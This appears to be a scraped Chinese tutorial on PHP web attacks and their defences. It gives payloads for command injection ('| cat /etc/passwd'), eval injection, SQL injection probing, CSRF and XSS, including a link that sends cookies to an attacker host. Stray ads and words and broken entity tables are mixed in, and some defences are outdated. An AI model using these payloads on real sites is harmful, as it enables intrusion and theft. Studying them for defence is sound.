針對PHP的網站主要存在下面幾種攻擊方式:
一、命令注入(Command Injection)
二、eval注入(Eval Injection)
三、客戶端腳本攻擊(Script Insertion)
四、跨網站腳本攻擊(Cross Site Scripting, XSS)
五、SQL注入攻擊(SQL injection)
六、跨網站請求僞造攻擊(Cross Site Request Forgeries, CSRF)
七、Session 會話劫持(Session Hijacking)
八、Session 固定攻擊(Session Fixation)
九、HTTP響應拆分攻擊(HTTP Response Splitting)
十、文件上傳漏洞(File Upload Attack)
十一、目錄穿越漏洞(Directory Traversal)
十二、遠程文件包含攻擊(Remote Inclusion)
1三、動態函數注入攻擊(Dynamic Variable Evaluation)
1四、URL攻擊(URL attack)
1五、表單提交欺騙攻擊(Spoofed Form Submissions)
1六、HTTP請求欺騙攻擊(Spoofed HTTP Requests)
命令注入攻擊
PHP中可使用下列5個函數來執行外部的應用程序或函數
system、exec、passthru、shell_exec、「(與shell_exec功能相同)
函數原型
string system(string command, int &return_var)
command 要執行的命令
return_var 存放執行命令的執行後的狀態值
string exec (string command, array &output, int &return_var)
command 要執行的命令
output 得到執行命令輸出的每一行字符串
return_var 存放執行命令後的狀態值
void passthru (string command, int &return_var)
command 要執行的命令
return_var 存放執行命令後的狀態值
string shell_exec (string command)
command 要執行的命令
漏洞實例
例1:
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>
咱們提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交之後,命令變成了 system("ls -al | cat /etc/passwd");javascript
史上最難PHPer筆試題php
【點擊進入】css
40分就能月薪過萬! 2000多人測試,85%準確率html
查 看java
eval注入攻擊
eval函數將輸入的字符串參數看成PHP程序代碼來執行
函數原型:
mixed eval(string code_str) //eval注入通常發生在攻擊者能控制輸入的字符串的時候
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
當咱們提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產生了mysql
動態函數
<?php
func A()
{
dosomething();
}
func B()
{
dosomething();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
程序員原意是想動態調用A和B函數,那咱們提交http://www.sectop.com/ex.php?func=phpinfo 漏洞產生程序員
防範方法
一、儘可能不要執行外部命令
二、使用自定義函數或函數庫來替代外部命令的功能
三、使用escapeshellarg函數來處理命令參數
四、使用safe_mode_exec_dir指定可執行文件的路徑
esacpeshellarg函數會將任何引發參數或命令結束的字符轉義,單引號「'」,替換成「\'」,雙引號「"」,替換成「\"」,分號「;」替換成「\;」
用safe_mode_exec_dir指定可執行文件的路徑,能夠把會使用的命令提早放入此路徑內
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/web
客戶端腳本植入sql
客戶端腳本植入(Script Insertion),是指將能夠執行的腳本插入到表單、圖片、動畫或超連接文字等對象內。當用戶打開這些對象後,攻擊者所植入的腳本就會被執行,進而開始攻擊。
能夠被用做腳本植入的HTML標籤通常包括如下幾種:
一、<script>標籤標記的javascript和vbscript等頁面腳本程序。在<script>標籤內能夠指定js程序代碼,也能夠在src屬性內指定js文件的URL路徑
二、<object>標籤標記的對象。這些對象是java applet、多媒體文件和ActiveX控件等。一般在data屬性內指定對象的URL路徑
三、<embed>標籤標記的對象。這些對象是多媒體文件,例如:swf文件。一般在src屬性內指定對象的URL路徑
四、<applet>標籤標記的對象。這些對象是java applet,一般在codebase屬性內指定對象的URL路徑
五、<form>標籤標記的對象。一般在action屬性內指定要處理表單數據的web應用程序的URL路徑shell
客戶端腳本植入的攻擊步驟
一、攻擊者註冊普通用戶後登錄網站
二、打開留言頁面,插入攻擊的js代碼
三、其餘用戶登陸網站(包括管理員),瀏覽此留言的內容
四、隱藏在留言內容中的js代碼被執行,攻擊成功
實例
數據庫
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default 」,
`name` varchar(40) NOT NULL default 」,
`email` varchar(25) NOT NULL default 」,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
提交下圖的留言
中關村實訓基地網頁設計培訓.學得快! 0基礎入學,行業專家授課,終身保證就業。
瀏覽此留言的時候會執行js腳本
插入 <script>while(1){windows.open();}</script> 無限彈框
插入<script>location.href="http://www.sectop.com";</script> 跳轉釣魚頁面
或者使用其餘自行構造的js代碼進行攻擊
防範的方法
通常使用htmlspecialchars函數來將特殊字符轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字符串
quote_style 可選,值可爲ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認值ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換
charset 可選,表示使用的字符集
函數會將下列特殊字符轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
把show.php的第98行改爲
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
而後再查看插入js的漏洞頁面
十年運營,9大校區,技術爲王,7天免費試學 63214名高薪就業學員,8萬年薪就業
XSS跨站腳本攻擊
XSS(Cross Site Scripting),意爲跨網站腳本攻擊,爲了和樣式表css(Cascading Style Sheet)區別,縮寫爲XSS
跨站腳本主要被攻擊者利用來讀取網站用戶的cookies或者其餘我的數據,一旦攻擊者獲得這些數據,那麼他就能夠假裝成此用戶來登陸網站,得到此用戶的權限。
跨站腳本攻擊的通常步驟:
一、攻擊者以某種方式發送xss的http連接給目標用戶
二、目標用戶登陸此網站,在登錄期間打開了攻擊者發送的xss連接
三、網站執行了此xss攻擊腳本
四、目標用戶頁面跳轉到攻擊者的網站,攻擊者取得了目標用戶的信息
五、攻擊者使用目標用戶的信息登陸網站,完成攻擊
當有存在跨站漏洞的程序出現的時候,攻擊者能夠構造相似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ,誘騙用戶點擊後,能夠獲取用戶cookies值
防範方法:
利用htmlspecialchars函數將特殊字符轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字符串
quote_style 可選,值可爲ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認值ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換
charset 可選,表示使用的字符集
函數會將下列特殊字符轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
$_SERVER["PHP_SELF"]變量的跨站
在某個表單中,若是提交參數給本身,會用這樣的語句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form>
$_SERVER["PHP_SELF"]變量的值爲當前頁面名稱
例:
http://www.sectop.com/get.php
get.php中上述的表單
那麼咱們提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那麼表單變成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站腳本被插進去了
防護方法仍是使用htmlspecialchars過濾輸出的變量,或者提交給自身文件的表單使用
<form action="" method="post">
這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站
SQL注入攻擊
SQL注入攻擊(SQL Injection),是攻擊者在表單中提交精心構造的sql語句,改動原來的sql語句,若是web程序沒有對提交的數據通過檢查,那麼就會形成sql注入攻擊。
SQL注入攻擊的通常步驟:
一、攻擊者訪問有SQL注入漏洞的站點,尋找注入點
二、攻擊者構造注入語句,注入語句和程序中的SQL語句結合生成新的sql語句
三、新的sql語句被提交到數據庫中執行 處理
四、數據庫執行了新的SQL語句,引起SQL注入攻擊
實例
數據庫
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default 」,
`name` varchar(40) NOT NULL default 」,
`email` varchar(25) NOT NULL default 」,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='運用者的留言' AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to ‘sectop'@localhost identified by '123456′;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
頁面 http://www.netsos.com.cn/show.php?id=71 可能存在注入點,咱們來測試
http://www.netsos.com.cn/show.php?id=71 and 1=1
返回頁面
提交
一次查詢到記錄,一次沒有,咱們來看看源碼
//show.php 12-15行
// 執行mysql查詢語句
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());
參數id傳遞進來後,和前面的字符串結合的sql語句放入數據庫執行 查詢
提交 and 1=1,語句變成select * from postmessage where id = 71 and 1=1 這語句前值後值都爲真,and之後也爲真,返回查詢到的數據
提交 and 1=2,語句變成select * from postmessage where id = 71 and 1=2 這語句前值爲真,後值爲假,and之後爲假,查詢不到任何數據
正常的SQL查詢,通過咱們構造的語句以後,造成了SQL注入攻擊。經過這個注入點,咱們還能夠進一步拿到權限,好比說運用 union讀取管理密碼,讀取數據庫信息,或者用mysql的load_file,into outfile等函數進一步滲透。
防範方法
整型參數:
運用 intval函數將數據轉換成整數
函數原型
int intval(mixed var, int base)
var是要轉換成整形的變量
base,可選,是基礎數,默認是10
浮點型參數:
運用 floatval或doubleval函數分別轉換單精度和雙精度浮點型參數
函數原型
int floatval(mixed var)
var是要轉換的變量
int doubleval(mixed var)
var是要轉換的變量
字符型參數:
運用 addslashes函數來將單引號「'」轉換成「\'」,雙引號「"」轉換成「\"」,反斜槓「\」轉換成「\\」,NULL字符加上反斜槓「\」
函數原型
string addslashes (string str)
str是要檢查的字符串
那麼剛纔出現的代碼漏洞,咱們能夠這樣修補
// 執行mysql查詢語句
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());
若是是字符型,先判斷magic_quotes_gpc能沒法 爲On,當不爲On的時候運用 addslashes轉義特殊字符
if(get_magic_quotes_gpc())
{
$var = $_GET["var"];
}
else
{
$var = addslashes($_GET["var"]);
}
再次測試,漏洞已經修補
垮網站僞造請求
CSRF(Cross Site Request Forgeries),意爲跨網站請求僞造,也有寫爲XSRF。攻擊者僞造目標用戶的HTTP請求,而後此請求發送到有CSRF漏洞的網站,網站執行此請求後,引起跨站請求僞造攻擊。攻擊者利用隱蔽的HTTP鏈接,讓目標用戶在不注意的狀況下單擊這個連接,因爲是用戶本身點擊的,而他又是合法用戶擁有合法權限,因此目標用戶可以在網站內執行特定的HTTP連接,從而達到攻擊者的目的。
例如:某個購物網站購買商品時,採用http://www.shop.com/buy.php?item=watch&num=1,item參數肯定要購買什麼物品,num參數肯定要購買數量,若是攻擊者以隱藏的方式發送給目標用戶連接
<img src="http://www.shop.com/buy.php?item=watch&num=1000"/>,那麼若是目標用戶不當心訪問之後,購買的數量就成了1000個
實例
隨緣網絡PHP留言板V1.0
任意刪除留言
//delbook.php 此頁面用於刪除留言
<?php
include_once("dlyz.php"); //dlyz.php用戶驗證權限,當權限是admin的時候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘刪除成功!');";
echo " location='book.php';";
echo "</script>";
?>
當咱們具備admin權限,提交http://localhost/manage/delbook.php?id=2 時,就會刪除id爲2的留言
利用方法:
咱們使用普通用戶留言(源代碼方式),內容爲
<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />
插入4張圖片連接分別刪除4個id留言,而後咱們返回首頁瀏覽看,沒有什麼變化。。圖片顯示不了
如今咱們再用管理員帳號登錄後,來刷新首頁,會發現留言就剩一條,其餘在圖片連接中指定的ID號的留言,所有都被刪除。
攻擊者在留言中插入隱藏的圖片連接,此連接具備刪除留言的做用,而攻擊者本身訪問這些圖片連接的時候,是不具備權限的,因此看不到任何效果,可是當管理員登錄後,查看此留言,就會執行隱藏的連接,而他的權限又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計製做:<a href=http://www.115cn.cn>廈門隨緣網絡科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘修改爲功!');";
echo " location='pass.php';";
echo "</script>";
}
這個文件用於修改管理密碼和網站設置的一些信息,咱們能夠直接構造以下表單:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1" name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="隨緣網絡PHP留言板V1.0(帶審覈功能)" >
<textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網絡PHP留言板V1.0(帶審覈功能)!</textarea>
<textarea name="copyright" rows="6" cols="80" >隨緣網絡PHP留言本V1.0 版權全部:廈門隨緣網絡科技 2005-2009<br/>承接網站建設及系統定製 提供優惠主機域名</textarea>
</form>
</body>
存爲attack.html,放到本身網站上http://www.sectop.com/attack.html,此頁面訪問後會自動向目標程序的pass.php提交參數,用戶名修改成root,密碼修改成root,而後咱們去留言板發一條留言,隱藏這個連接,管理訪問之後,他的用戶名和密碼所有修改爲了root
防範方法
防範CSRF要比防範其餘攻擊更加困難,由於CSRF的HTTP請求雖然是攻擊者僞造的,可是倒是由目標用戶發出的,通常常見的防範方法有下面幾種:
一、檢查網頁的來源
二、檢查內置的隱藏變量
三、使用POST,不要使用GET
檢查網頁來源
在//pass.php頭部加入如下紅色字體代碼,驗證數據提交
if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$serverhost = $_SERVER["SERVER_NAME"];
$strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]);
$strdomain = explode("/",$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo "<script language='javascript'>";
echo "alert(‘數據來源異常!');";
&
nbsp; echo " location='index.php';";
echo "</script>";
}
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計製做:<a href=http://www.115cn.cn>廈門隨緣網絡科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘修改爲功!');";
echo " location='pass.php';";
echo "</script>";
}
檢查內置隱藏變量
咱們在表單中內置一個隱藏變量和一個session變量,而後檢查這個隱藏變量和session變量是否相等,以此來判斷是否同一個網頁所調用
<?php
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
// 生成惟一的ID,並使用MD5來加密
$post_id = md5(uniqid(rand(), true));
// 建立Session變量
$_SESSION["post_id"] = $post_id;
}
// 檢查是否相等
if (isset($_SESSION["post_id"]))
{
// 不相等
if ($_SESSION["post_id"] != $_POST["post_id"])
{
// 清除POST變量
unset($_POST);
echo "<script language='javascript'>";
echo "alert(‘數據來源異常!');";
echo " location='index.php';";
echo "</script>";
}
}
……
<input type="reset" name="Submit2" value="重 置">
<input type="hidden" name="post_id" value="<?php echo $_SESSION["post_id"];?>">
</td></tr>
</table>
</form>
<?php
}
mysql_close($conn);
?>
</body>
</html>
使用POST,不要使用GET
傳遞表單字段時,必定要是用POST,不要使用GET,處理變量也不要直接使用$_REQUEST
http響應拆分
HTTP請求的格式
1)請求信息:例如「Get /index.php HTTP/1.1」,請求index.php文件
2)表頭:例如「Host: localhost」,表示服務器地址
3)空白行
4)信息正文
「請求信息」和「表頭」都必須使用換行字符(CRLF)來結尾,空白行只能包含換行符,不能夠有其餘空格符。
下面例子發送HTTP請求給服務器www.yhsafe.com
GET /index.php HTTP/1.1↙ //請求信息
Host:www.yhsafe.com↙ //表頭
↙ //空格行
↙
↙符號表示回車鍵,在空白行以後還要在按一個空格纔會發送HTTP請求,HTTP請求的表頭中只有Host表頭是必要的餓,其他的HTTP表頭則是根據HTTP請求的內容而定。
HTTP請求的方法
1)GET:請求響應
2)HEAD:與GET相同的響應,只要求響應表頭
3)POST:發送數據給服務器處理,數據包含在HTTP信息正文中
4)PUT:上傳文件
5)DELETE:刪除文件
6)TRACE:追蹤收到的請求
7)OPTIONS:返回服務器所支持的HTTP請求的方法
8)CONNECT:將HTTP請求的鏈接轉換成透明的TCP/IP通道
HTTP響應的格式
服務器在處理完客戶端所提出的HTTP請求後,會發送下列響應。
1)第一行是狀態碼
2)第二行開始是其餘信息
狀態碼包含一個標識狀態的數字和一個描述狀態的單詞。例如:
HTTP/1.1 200 OK
200是標識狀態的是數字,OK則是描述狀態的單詞,這個狀態碼標識請求成功。
HTTP請求和響應的例子
打開cmd輸入telnet,輸入open www.00aq.com 80
打開鏈接後輸入
GET /index.php HTTP/1.1↙
Host:www.00aq.com↙
↙
↙
返回HTTP響應的表頭
返回的首頁內容
使用PHP來發送HTTP請求
header函數能夠用來發送HTTP請求和響應的表頭
函數原型
void header(string string [, bool replace [, int http_response_code]])